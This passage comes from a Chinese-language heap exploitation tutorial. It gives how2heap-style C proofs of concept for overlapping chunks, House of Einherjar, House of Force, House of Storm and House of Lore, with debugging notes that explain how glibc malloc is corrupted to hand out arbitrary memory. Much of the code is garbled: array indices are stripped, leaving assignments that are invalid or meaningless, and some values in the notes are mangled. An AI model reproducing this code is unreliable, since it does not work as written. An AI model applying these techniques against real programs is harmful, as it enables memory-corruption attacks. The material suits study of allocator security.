    fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

    memset(p1, '1', 0x100 - 8);
    memset(p2, '2', 0x100 - 8);
    memset(p3, '3', 0x80 - 8);

    fprintf(stderr, "\nNow let's free the chunk p2\n");
    free(p2);
    fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

    fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
    fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
      " however, it is best to maintain the stability of the heap.\n");
    fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
      " to assure that p1 is not mistaken for a free chunk.\n");

    int evil_chunk_size = 0x181;
    int evil_region_size = 0x180 - 8;
    fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
         evil_chunk_size, evil_region_size);

    *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

    fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n"
         "size of the chunk p2 injected size\n");
    fprintf(stderr, "This malloc will be served from the previously freed chunk that\n"
         "is parked in the unsorted bin which size has been modified by us\n");
    p4 = malloc(evil_region_size);

    fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
    fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
    fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");

    fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
      " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

    fprintf(stderr, "Let's run through an example. Right now, we have:\n");
    fprintf(stderr, "p4 = %s\n", (char *)p4);
    fprintf(stderr, "p3 = %s\n", (char *)p3);

    fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
    memset(p4, '4', evil_region_size);
    fprintf(stderr, "p4 = %s\n", (char *)p4);
    fprintf(stderr, "p3 = %s\n", (char *)p3);

    fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
    memset(p3, '3', 80);
    fprintf(stderr, "p4 = %s\n", (char *)p4);
    fprintf(stderr, "p3 = %s\n", (char *)p3);
}
```
### 调试

首先申请三个堆块`p1_real:0x101`,`p2_real:0x101`,`p3_real:0x81`,这里只有申请`0x8`结尾的堆块才有下一个堆块`prev_size`的控制权,利用`off-by-one`漏洞。假设堆块`p1`读取时存在`off-by-one`。


`free(p2)`后,利用`p1`的`off-by-one`漏洞将`chunk_p2`的`size`改为`0x180`,再次申请`0x178`大小的堆块,即可得到`p3`的控制权。

## overlapping_chunks_2

`glibc < 2.29`

### 源码
```cpp
/*
Yet another simple tale of overlapping chunk.

This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){

intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;

fprintf(stderr, "\nThis is a simple chunks overlapping problem");
fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");

p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);

real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);

fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 from %p to %p", p2,(unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 from %p to %p", p3,(unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 from %p to %p\n", p5,(unsigned char *)p5+malloc_usable_size(p5));

memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);

fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");

free(p4);

fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");

*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE

fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
free(p2);

fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");

p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);

fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
fprintf(stderr, "\nchunk p6 from %p to %p", p6,(unsigned char *)p6+real_size_p6);
fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);

fprintf(stderr, "\nLet's write something inside p6\n");
memset(p6,'F',1500);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);

}
```
### 调试

首先申请5个`0x3e8`堆块,`p1`,`p2`,`p3`,`p4`,`p5`。

`free(4)`后,假设`p1`存在`off-by-one`漏洞,将`p2`的`size`改为`0x3f0+0x3f0+0x1=0x7e1`大小。再次`free(p2)`将会把`p3`覆盖掉,并且会与`chunk_p4`重合,此时我们再次申请0x7d8大小的堆块即可获得chunk_p3的控制权。

## house_of_einherjar
### 源码
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
   Credit to st4g3r for publishing this technique
   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("Welcome to House of Einherjar!\n");
    printf("Tested in Ubuntu 16.04 64bit.\n");
    printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* d;

    printf("\nWe allocate 0x38 bytes for 'a'\n");
    a = (uint8_t*) malloc(0x38);
    printf("a: %p\n", a);

    int real_a_size = malloc_usable_size(a);
    printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

    // create a fake chunk
    printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
    printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
    printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
    printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

    size_t fake_chunk;

    fake_chunk = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
    fake_chunk = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk = (size_t) fake_chunk; // fwd
    fake_chunk = (size_t) fake_chunk; // bck
    fake_chunk = (size_t) fake_chunk; //fwd_nextsize
    fake_chunk = (size_t) fake_chunk; //bck_nextsize


    printf("Our fake chunk at %p looks like:\n", fake_chunk);
    printf("prev_size (not used): %#lx\n", fake_chunk);
    printf("size: %#lx\n", fake_chunk);
    printf("fwd: %#lx\n", fake_chunk);
    printf("bck: %#lx\n", fake_chunk);
    printf("fwd_nextsize: %#lx\n", fake_chunk);
    printf("bck_nextsize: %#lx\n", fake_chunk);

    /* In this case it is easier if the chunk size attribute has a least significant byte with
   * a value of 0x00. The least significant byte of this will be 0x00, because the size of
   * the chunk includes the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);

    printf("\nWe allocate 0xf8 bytes for 'b'.\n");
    printf("b: %p\n", b);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

    printf("\nb.size: %#lx\n", *b_size_ptr);
    printf("b.size is: (0x100) | prev_inuse = 0x101\n");
    printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a = 0;
    printf("b.size: %#lx\n", *b_size_ptr);
    printf("This is easiest if b.size is a multiple of 0x100 so you "
         "don't change the size of b, only its prev_inuse bit\n");
    printf("If it had been modified, we would need a fake chunk inside "
         "b where it will try to consolidate the next chunk\n");

    // Write a fake prev_size to the end of a
    printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
         "it will consolidate with our fake chunk\n", sizeof(size_t));
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
    *(size_t*)&a = fake_size;

    //Change the fake chunk's size to reflect b's new prev_size
    printf("\nModify fake chunk's size to reflect b's new prev_size\n");
    fake_chunk = fake_size;

    // free b and it will consolidate with our fake chunk
    printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
    free(b);
    printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk);

    //if we allocate another chunk before we free b we will need to
    //do two things:
    //1) We will need to adjust the size of our fake chunk so that
    //fake_chunk + fake_chunk's size points to an area we control
    //2) we will need to write the size of our fake chunk
    //at the location we control.
    //After doing these two things, when unlink gets called, our fake chunk will
    //pass the size(P) == prev_size(next_chunk(P)) test.
    //otherwise we need to make sure that our fake chunk is up against the
    //wilderness

    printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
    d = malloc(0x200);
    printf("Next malloc(0x200) is at %p\n", d);
}
```
### 调试


申请`a=0x41`,`b=0x101`两个堆块,并在栈上构建一个`fake_chunk`,并且`fake_chunk_fd_bk = fake_chunk_prev_size`,用来绕过`unlink`。


然后利用`off-by-null`漏洞将堆块`b`的`PREV_INUSE`位改为`0`,计算出堆块`b`与`fake_chunk`的距离(`fake_size`),这里是个负数。

然后将`fake_chunk_size`改为`fake_size`,然后将堆块`b`的`prev_size`改为改为`fake_size`,绕过检查`prev_size == size`的检查。


我们`free(b)`后,会进行如上检查。向后合并会把负数`fake_size`转为整数,然后会先开始后合并,又`chunk_b`紧邻`top_chunk`,会再与其进行合并。

此时我们再申请堆块将从`fake_chunk_prev_size`开始分配。

## house_of_force

`glibc < 2.29`

### 源码
```cpp
/*

   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
   ( http://phrack.org/issues/66/10.html )

   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04

*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
    fprintf(stderr, "\nWelcome to the House of Force\n\n");
    fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
    fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
      "and is the chunk that will be resized when malloc asks for more space from the os.\n");

    fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
    fprintf(stderr, "Its current value is: %s\n", bss_var);



    fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

    fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
    int real_size = malloc_usable_size(p1);
    fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

    fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

    //----- VULNERABILITY ----
    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
    fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

    fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
    fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    //------------------------

    fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
       "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
       "overflow) and will then be able to allocate a chunk right over the desired region.\n");

    /*
   * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
   * new_top = old_top + nb
   * nb = new_top - old_top
   * req + 2sizeof(long) = new_top - old_top
   * req = new_top - old_top - 2sizeof(long)
   * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
   * req = dest - old_top - 4*sizeof(long)
   */
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
       "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

    void* ctr_chunk = malloc(100);
    fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
    fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
    fprintf(stderr, "Now, we can finally overwrite that value:\n");

    fprintf(stderr, "... old string: %s\n", bss_var);
    fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr, "... new string: %s\n", bss_var);

    assert(ctr_chunk == bss_var);


    // some further discussion:
    //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
    //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
    //    "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
    //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
    //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
    //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
    //    "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

    //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
    //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

    //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
```
### 调试

首先申请了一个`a_real=0x111`大小的堆块,利用`off-by-one`将`top_chunk`的`size`改为`-1`,此时我们便可以申请到任意地址,`top_chunk地址 = 原top_chunk地址 + 对齐后的申请大小`。只要我们计算好距离,便可申请到任意地址,下到`got`,`bss`,上到`__malloc_hook`,相当于任意地址写的能力。


计算出`bss_var-0x20`到`top_chunk`的距离`0x602060-0x603110=-5A2 E0B0`,注意此时我们申请结束后,`top_chunk=0x6030110+(-5A2EB0)+0x10=0x602070`,成功将top_chunk迁移到了目标地址下方。

堆由低地址向高地址增长,我们此时申请`0x68`大小的堆块时,`top_chunk=0x602070+0x68+0x8=0x6020e0`,成功将目标地址放入新申请堆块的`fd`指针处。


## house of storm

`glibc < 2.29`,例题 `heap2storm` 结合 `ptmalloc` 源码讲的更为详细一些,这里简化了很多。

### 源码

```cpp
/*

POC for House of Storm on 2.23

For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.

This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user choosen address in memory.

Once this has occurred, if the size at this 'fake'
location is the same size as the allocation,
then the chunk will be returned back to the user.

This attack allows arbitrary chunks to be returned
to the user!

Written by Maxwell "Strikeout" Dulin
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler;
char target;

void init(){
      setvbuf(stdout, NULL, _IONBF, 0);
      setvbuf(stdin, NULL, _IONBF, 0);
      // clearenv();
}

// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int get_shift_amount(char* pointer){

      int shift_amount = 0;
      long long ptr = (long long)pointer;

      while(ptr > 0x20){
                ptr = ptr >> 8;
                shift_amount += 1;
      }

      return shift_amount - 1; // Want amount PRIOR to this being zeroed out
}

int main(){

    init();

    char *unsorted_bin, *large_bin, *fake_chunk, *ptr;

    puts("House of Storm");
    puts("======================================");
    puts("Preparing chunks for the exploit");
    puts("Put one chunk into unsorted bin and the other into the large bin");
    puts("The unsorted bin chunk MUST be larger than the large bin chunk.");
    /*
    Putting a chunk into the unsorted bin and another
    into the large bin.
    */
    unsorted_bin = malloc ( 0x4e8 );// size 0x4f0

    // prevent merging
    malloc ( 0x18 );

    puts("Find the proper chunk size to allocate.");
    puts("Must be exactly the size of the written chunk from above.");
    /*
    Find the proper size to allocate
    We are using the first 'X' bytes of the heap to act
    as the 'size' of a chunk. Then, we need to allocate a
    chunk exactly this size for the attack to work.

    So, in order to do this, we have to take the higher
    bits of the heap address and allocate a chunk of this
    size, which comes from the upper bytes of the heap address.

    NOTE:
    - This does have a 1/2 chance of failing. If the 4th bit
    of this value is set, then the size comparison will fail.
    - Without this calculation, this COULD be brute forced.
    */
    int shift_amount = get_shift_amount(unsorted_bin);
      printf("Shift Amount: %d\n", shift_amount);

      size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
      if(alloc_size < 0x10){
                printf("Chunk Size: 0x%lx\n", alloc_size);
                puts("Chunk size is too small");
                exit(1);
      }
      alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits
      printf("In this case, the chunk size is 0x%lx\n", alloc_size);


    // Checks to see if the program will crash or not
      /*
      The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.

      Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
      validates to see if ONE of the following cases is true:
      - av == arena_for_chunk (mem2chunk (mem))
      - chunk is mmaped

      If the 'non-main arena' bit is set on the chunk, then the
      first case will fail.
      If the mmap bit is set, then this will pass.

      So, either the arenas need to match up (our fake chunk is in the
      .bss section for this demo. So, clearly, this will not happen) OR
      the mmap bit must be set.

      The logic below validates that the fourth bit of the size
      is NOT set and that either the mmap bit is set or the non-main
      arena bit is NOT set. If this is the case, the exploit should work.
      */
      if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
                puts("Allocation size has bit 4 of the size set or ");
                puts("mmap and non-main arena bit check will fail");
                puts("Please try again! :)");
                puts("Exiting...");
                return 1;

    }

    large_bin=malloc ( 0x4d8 );// size 0x4e0
    // prevent merging
    malloc ( 0x18 );

    // FIFO
    free ( large_bin );// put small chunks first
    free ( unsorted_bin );

    // Put the 'large bin' chunk into the large bin
    unsorted_bin = malloc(0x4e8);
    free(unsorted_bin);

    /*
    At this point, there is a single chunk in the
    large bin and a single chunk in the unsorted bin.
    It should be noted that the unsorted bin chunk
    should be LARGER in size than the large bin chunk
    but should still be within the same bin.

    In this setup, the large_bin has a chunk
    of size 0x4e0 and the unsorted bin
    has a chunk of size 0x4f0. This technique relies on
    the unsorted bin chunk being added to the same bin
    but a larger chunk size. So, careful heap feng shui
    must be done.
    */

    // The address that we want to write to!
    fake_chunk = target - 0x10;

    puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator");

    /*
    The address of our fake chunk is set to the unsorted bin
    chunks 'bk' pointer.

    This launches the 'unsorted_bin' attack but it is NOT the
    main purpose of us doing this.

    After launching the 'unsorted_bin attack' the 'victim' pointer
    will be set to THIS address. Our goal is to find a way to get
    this address from the allocator.

    Vulnerability!!
    */
    ((size_t *)unsorted_bin) = (size_t)fake_chunk; // unsorted_bin->bk

    // Only needs to be a valid address.
    (( size_t *) large_bin )=(size_t)fake_chunk+8 ;// large_bin->bk

    puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location");
    puts("of your fake chunk.");
    puts("Misalign the location in order to use the primitive as a SIZE value.");
    puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).");
    puts("Vulnerability #2!");
    puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at.");
    /*
    This can be seen as a WRITE-WHERE primitive in the large bin.
    However, we are going to write a 'size' for our fake chunk using this.

    So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
    to an address for our fake size. The write above (bk_nextsize) is
    controlled via the pointer we are going to overwrite below. The
    value that gets written is a heap address; the unsorted bin
    chunk address above.

    The 'key' to this is the offset. First, we subtract 0x18 because
    this is the offset to writting to fd_nextsize in the code shown
    above. Secondly, notice the -2 below. We are going
    to write a 'heap address' at a mis-aligned location and
    use THIS as the size. For instance, if the heap address is 0x123456
    and the pointer is set to 0x60006. This will write the following way:
    - 0x60006: 0x56
    - 0x60007: 0x34
    - 0x60008: 0x12

    Now, our 'fake size' is at 0x60008 and is a valid size for the
    fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
    from the allocator.

    Second vulnerability!!!
    */
    (( size_t *) large_bin) = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize


    /*
    At this point, we've corrupted everything in just the right
    way so this should work.

    The purpose of the attack is to have a corrupted 'bk' pointer
    point to ANYWHERE we want and still get the memory back. We do
    this by using the large bin code to write a size to the 'bk'
    location.

    This call to malloc (if you're lucky), will return a pointer
    to the fake chunk that we created above.
    */


    puts("Make allocation of the size that the value will be written for.");
    puts("Once the allocation happens, the madness begins");
    puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to ");
    puts("write a fake 'size' value to the location of our target.");
    puts("After this, the target will have a valid size.");
    puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid");
    puts("size and remove it from the bin.");
    puts("With this, we have pulled out an arbitrary chunk!");

    printf("String before: %s\n", target);
    printf("String pointer: %p\n", target);

    ptr = malloc(alloc_size);
    strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);

    printf("String after %s\n", target);
    printf("Fake chunk ptr: %p\n", ptr);

    return 0;
}
```

### 调试






首先布置堆结构,`get_shift_amount()`函数计算 `fake_chunk_size` 偏移,这个偏移一般来说,开了 `PIE` 为 `5`,不开 `PIE` 为 `2`。`alloc_size` 在经过与 `0xffffffffffe(111111111111111111111111111111111110)`取与运算后,`PREV_INUSE`位将被置为`0`,然后减去 `0x10`后变为需要申请的用户大小`0x50`。





这里判断 `alloc_size` 是否符合要求。与 `0x8(1000)` 取与运算不为 `0` 说明不是 `fast_chunk` 大小,不符合要求; 与 `0x4(0100)` 取与运算等于`0x4` 则说明 `NON_MAIN_ARENA ` 位为 `1` ,不属于主堆区,不符合要求;与 `0x2(0010)` 取与运算不等于 `0x2(0010)` 则说明 `IS_MAPPED` 位不等于为 `1` ,符合要求(绕个弯子)。











接下来申请 `largebin_chunk` ,并将`unsorted_bin` 和 `large_bin` 两个堆块都放入 `unsorted bin` 中。再次申请 `0x4e8` 大小堆块并释放,会将 `0x4e1` 大小的堆块放入 `large_bin`,将 `0x4f1` 大小的堆块放进 `unsorted bin`,满足 `unsortedbin_chunk > largebin_chunk` 并且在大小在同一区域内。





接下来完成任意地址申请,我们要控制 `target` 区域,在其 `fake_chunk=target-0x10` 位置申请。



```cpp
((size_t *)unsorted_bin) = (size_t)fake_chunk; // unsorted_bin->bk
(( size_t *) large_bin )=(size_t)fake_chunk+8 ;// large_bin->bk
(( size_t *) large_bin) = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize
```




构建如上图的堆结构,后面解释原因。



此时申请一个`0x50` 大小的堆块会经过以下两个变化。

```cpp
unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);// bck==fake_chunk
```

即 `unsorted_chunks(av)->bk = fake_chunk`;`fake_chunk+0x10(fake_chunk_fd) = unsorted_chunks(av)`

```cpp
/* unsortedbin_chunks_size > largebin_chunks_size 将执行如下代码 */

else
{
      victim->fd_nextsize = fwd; //victim==unsortedbin_chunk; fwd == largebin_chunk;
      victim->bk_nextsize = fwd->bk_nextsize;
      fwd->bk_nextsize = victim;
      victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
```

然后执行如上代码,`unsorted_chunk_bk_nextsize` 首先指向 `fake_chunk-0x18-2` ,然后`unsorted_chunk->bk_nextsize->fd_nextsize (fake_chunk-0x18-2+0x20)`改为 `unsorted_chunk (此时fake_chunk的size被改为0x60)`。然后将 `bck(fake_chunk+0x8) `的 ` fd(fake_chunk+0x8+0x10)` 指向 `unsorted_chunk`,伪造了 `fake_chunk_bk`。




最后成功向目标位置写入内容。

# 第四部分前言

## 例题

## house of lore

### 源码

```cpp
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.

[ ... ]

else
    {
      bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim)){

                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }

       set_inuse_bit_at_offset (victim, nb);
       bin->bk = bck;
       bck->fd = bin;

       [ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1 = {0};
intptr_t* stack_buffer_2 = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1 = 0;
stack_buffer_1 = 0;
stack_buffer_1 = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
stack_buffer_1 = (intptr_t*)stack_buffer_2;
stack_buffer_2 = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2);

